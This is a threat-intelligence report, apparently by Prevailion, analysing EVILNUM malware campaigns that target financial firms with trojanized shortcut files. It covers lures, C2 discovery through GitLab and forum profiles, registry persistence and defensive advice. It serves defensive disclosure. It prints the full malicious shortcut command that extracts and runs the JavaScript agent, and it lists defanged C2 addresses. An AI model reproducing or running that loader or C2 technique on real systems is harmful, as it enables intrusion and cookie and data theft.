Prevailion’s Tailored Intelligence Team has detected two new criminal campaigns targeting the global financial industry with the EVILNUM malware, one of which became active on May 3rd 2020. We have dubbed these new operations “Phantom in the [Command] Shell”.
The first version of EVILNUM was identified in 2018; the second version was discovered in an unrelated incident response investigation a year later, having infiltrated a FINTECH company. The initial reporting on this malware was the only sign of its presence, as it briefly faded from view.
EVILNUM has surfaced again in the financial sector with a new variant that has evolved with a very effective tool designed to evade both standard network- and host-based detection systems. It uses supplementary logic designed to help it adapt to the local system and alter its actions – and even the choice of C2 – based upon the antivirus products that are detected on the host machine. This agent allows the threat actor to upload files, download files, run commands, steal cookies and access other protected data. It is designed to persist through reboot by adding a registry key, and even removes artifacts of its presence from the host machine. Given the versatility added to this variant, we suspect that this agent has the capacity to load auxiliary payloads onto a host machine.
Prevailion has discovered an updated variant of the deceptive EVILNUM agent. This agent was delivered to victims from a URL on a cloud-platform that hosts a zip file. If the link is clicked, the victim downloads a compressed folder riddled with trojanized files that masquerade as PDFs and JPEGs. These files display themselves as seemingly innocuous decoys to the end user, all while quietly running in the background. The first version of EVILNUM malware was observed and reported in 2018. The second version was reported by Palo Alto, targeting a specific financial technology (FinTech) organization. This report covers the latest versions 3.6 and 4.0, how they’re delivered, evasion techniques, and communications channels.
The infection chain begins when the victim receives a link to a Uniform Resource Locator (URL) hosted on a cloud-based platform, in this case GoogleDrive. This technique is increasingly used to avoid intrusion detection system (IDS) rules, by hosting the malicious file on a 3rd party platform that was likely whitelisted. When that link is clicked and traffic to GoogleDrive is initiated, it begins the process of downloading a compressed folder from that location.
Phantom in the command shell campaign walk through
Prevailion has thus far identified two compressed files harboring the subject malware, although there is evidence to suggest that more zip folders exist. Once decompressed, the folder is found to contain microsoft shortcut (lnk) files that were named to impersonate either jpeg or pdf files. We have categorized these lnk files into two subcategories. The first set of lures uses the basic Know Your Customer (KYC) elements as a ruse, these elements are files that anyone would be asked for when opening a new account with a finance services organization. Some examples include but are not limited to driver’s license, credit cards, credit history documents, and proof of address paperwork. The second subcluster includes a document that appears to impersonate an established financial services organization, and referenced their 2020 GDPR compliance plan. Given the nature of these lures, Prevailion suspects with moderate confidence these efforts were targeted towards select financial institutions rather than wide-scale spamming.
Once decompress the first zip folders contained the following KYC files:
The name on the drivers license corresponds to a real person, who happens to be the CEO of a Bank located in a British territory. The address on the utility bill matches the city of the bank. The second compressed folder was very similar to the first, containing various KYC documents and impersonated a Canadian person who we suspect works for a different financial organization. The last KYC client file that we identified was a Finnish national that we suspect works for a managed cloud services provider. Prevailion was unable to confirm if these documents were authentic, however if forged they closely resemble the genuine article.
The second subcategory contains a file name that references an organization rather than an individual. The document impersonates an investment company located in England. Like the previously mentioned lnk files, when clicked by the user it launches a script to run in the background of the computer.
As we mentioned, there is added functionality built into this particular agent, and one element is in the display of a decoy file that corresponds to the selected file name. We analysed the properties of the lnk file themselves with lnk parser to search for clues left behind by the actor. However all the lnk files had the same forged metadata; the files were timestomped with a creation date of September 5th, 2018, from a VMWare device based upon the mac address, that had a NetBIOS name of “admin-pc”, suggesting they went to some lengths to obfuscate the metadata related to their activities. The lnk file properties can be found below.
[Distributed Link Tracker Properties]
NetBIOS name: admin-pc
Droid volume identifier: a82e4430-d4a8-417a-b678-88e886bec590
Droid file identifier: 8cb9d0c4-b0f4-11e8-b065-005056c00008
Birth droid volume identifier: a82e4430-d4a8-417a-b678-88e886bec590
Birth droid file identifier: 8cb9d0c4-b0f4-11e8-b065-005056c00008
MAC address: 00:50:56:c0:00:08
UUID timestamp: 09/05/2018 (10:15:01.429) [UTC]
UUID sequence number: 12389
Opening any one of the files, such as “Credit Card Front,” executes a protracted command line argument. The first operation moves the file to the Temp folder and renames it “1.lnk”. Then it proceeds to search for all the files that start with “Cred” in the Temp directory, and search recursively in all directories modified that day. Next it reads the 1.lnk file and redirects the output into a new file named 0.js, It then uses csript to execute that file. The command is as follows:
“C:\Windows\System32\cmd.exe” /c path=C:\Windows\system32&&move “Credit Card front.jpg.lnk ” “C:\Users\admin\AppData\Local\Temp\1.lnk”&forfiles /P “C:\Users\admin\AppData\Local\Temp” /M “Cred*.lnk” /S /D 0 /C “C:\Windows\system32\cmd.exe /c move @path C:\Users\admin\AppData\Local\Temp\1.lnk”&type “C:\Users\admin\AppData\Local\Temp\1.lnk”|find “TRU4”>”C:\Users\admin\AppData\Local\Temp\0.js”|rd a||cSCripT “C:\Users\admin\AppData\Local\Temp\0.js”
This file, 0.js, is the main agent deployed to the victim’s machine. It’s written in Phantom and this particular script was designed for Windows OS. One comment in the code suggested that this particular iteration was version 3.6. One of our favorite elements was the use of a one-way communication method to obtain the C2, in order to remain elusive. This agent also built in a function aptly named “DeleteLeftovers,” to remove certain artifacts of the attack.
Once initiated the agent proceeds to enumerate the infected machine using Windows Management Instrumentation (WMI) to obtain the following information:
This agent had traditional trojan functionality, that allowed it to perform the following tasks:
One difference between this variant and previous iterations is the removal of the screenshot functionality. This agent did maintain some original functions such as: bringing files down from the C2, and converting strings of data into bytes and receiving binary data. This suggests the agent was capable of retrieving subsequent payloads, indicating it was likely just a first stage agent.
One of the first things the agent does is ping google to check for an internet connection. If the host machine is connected to the internet, the agent proceeds to kill any instances of Internet Explorer which have the command line parameter matching “-Embedding.” It then uses Internet Explorer to retrieve a remote web page that acts as a one-way communication method, that web page contains a string that identifies the corresponding C2 node.
Like the previous variants of EVILNUM, the actor set up accounts on GitLab and Digital Point, a web forum. The four primary URLs used as drop sites for one-way communications were:
The actor likely set up two web pages that corresponded to each campaign for redundancy. The function would periodically check those two web pages every 180000 seconds (50 hours).
Metadata properties of the most recent campaign show that the “bliblobla123” Gitlab account was created on May 3rd, 2020.
Image showing the date when the Gitlab account was created
Image showing the latest C2 embedded in the README.MD file
The “johndeer123” Digital Point account associated with version 3.6, was created on February 21, 2019. One of the differences in the 3.6 and 4.0 variants is that the agent obtains the IP address through a regex search for the string “8346758545”. On the Digital Point web forum instance the observed C2, hxxp://185.62.190[.]89, was stored as a value in the “interest” field.
Image of Johndeer123 Digital Point Profile
If the host is running BitDefender, EVILNUM will reach out to a different URL
hxxps://gitlab.com/jhondeer123/test/raw/master/test.py. The agent then searches for the same string “8346758545”. There is also some fallback functionality to use “long2ip”, the arithmetic based method, implemented in the previous agent. This method takes the number then divides it by 8 and converts it to an IP address.
Once the agent obtains the IP address it will send a GET request to check.php. If the IP address is indeed the correct C2, it returns a message padded with “jifhruhajsdfg444” on each side. In this case it received a padded “success” message:
Wireshark stream of a check interaction from the victim to the C2
Once the agent confirms the correct IP address, it proceeds to send a register request. In this POST it sent the host based enumeration information. Once received the
C2 responded with the agent’s unique identifier that will then get saved at
appDataPath + \\Microsoft\\Credentials\\MediaPlayer\\MediaManager\\id.txt.
Image of the register function with version 3.6 on the left and 4.0 on the right
Based upon code analysis the following HTTP requests and parameters were identified:
○ Agent confirms it has the right IP address and sends version number
○ Registers the agent with the C2 and obtain unique identifier
○ Get commands from the C2
○ Upload harvested cookies to the C2
○ Download file from C2 then place in tmp and appData folders
○ Upload file from infected host to C2
○ obtain windows script component from from C2, then store it “878478ddd3.TMP”
As we described, the agent will persist through a reboot by adding a registry key. This is the same technique that was used in the 2.0 version. One notable feature is that the actor added logic to modify the registry key location, based on the antivirus product that was detected during the enumeration phrase. In the previous version, it would only specify what to do when BitDefender was installed on the host. The new version added functionality to account for Avast. If either one of those two antivirus specific products were detected it created a registry key at:
If there is no antivirus product detected – or something other than BitDefender and Avast – it will create a registry key at:
Both keys will then run a shortcut file specified at the path:
This shortcut file maps to the media.js file, which contains a copy of the core agent. This set of registry persistence modifications are stored in a file named media.reg.
The second registry modification file, mediaIE.reg, is the same file that has been used since version 1 of EVILNUM. These registry modifications appear to have remained consistent with the newest iteration versions. The modifications are intended to weaken the security of the host machine. For example – one modification removes the “no protect mode” banner, potentially luring victims into a false sense of security. Another example is the removal of a feature of CCleaner that clears data downloaded from browsers, this is likely meant to ensure downloaded scripts or tools were not removed. The registry keys and modified parameters are listed below.
○ This decodes to “%.S.y.s.t.e.m.R.o.o.t.%.\.c.u.r.s.o.r.s.\.a.e.r.o._.a.r.r.o.w…c.u.r…”
The Phantom in the Command Shell campaign shows that the threat actors behind the EVILNUM malware family are constantly advancing their techniques as they continue to focus their efforts on the global banking/financial system. The differences between the 3.6 and 4.0 variants appear to be trivial and do not affect functionality.
One possible way to protect against this threat, is to disable Microsoft shortcut files on high risk machines that routinely interact with untrusted parties. These high risk machines should also be segmented within the network to impede attackers’ ability to spread laterally if they were compromised. We recommend routinely monitoring network logs to check for abnormal connections to IP addresses associated with virtual private servers.
Prevailion has shared our findings with Cyber Threat Alliance members. The CTA uses this intelligence to rapidly deploy protections to their customers and to systematically disrupt malicious cyber actors. For more information on the Cyber Threat Alliance, visit www.cyberthreatalliance.org.
Microsoft ShortCut (Lnk) Files
Actor created Folders
appData + \\Microsoft\\Credentials\\MediaPlayer\\MediaManager\\
appData + \\Microsoft\\Credentials\\MediaPlayer\\UtilitiesLog\\
C2 Retrieval URLs
Command and Control Node
|MITRE ATT&CK Framework Mapping|
|Initial Access||Spear Phishing Link (T1192)|
|Execution||User Execution (T1204)|
|Persistent||Registry Run Keys / Startup Folder (T1060)|
|Defensive Evasion||Timestomping (T1099), Indicator Removal from host (T1070),
Modify Registry (T1112), Hidden Window (T1143), rundll32 (T1085),
|Credential Access||Steal Web Session Cookie (T1539)|
|Collection||Data from Local System (T1005), Data Staged (T1074)|
|Command & Control||Commonly used port (T1043), Web service (T1102),
Remote File copy (T1105)
|Exfiltration||Exfiltration Over Command and Control Channel (T1041)|
Read some thoughts from our CTO, Nate Warfield, who discusses the escalating attacks on critical infrastructure with other cybersecurity experts in this Industrial Week roundtable.
by Will Gragido, Chief Strategy Officer – Prevailion, Inc. Intelligence analysis is dependent upon many things not the least of which are collections and access to data (e.g., pcaps, logs etc.) sourced from within the network. Prevailion affords its customers the ability to view intelligence related to real state of compromise outside the network’s perimeter. […]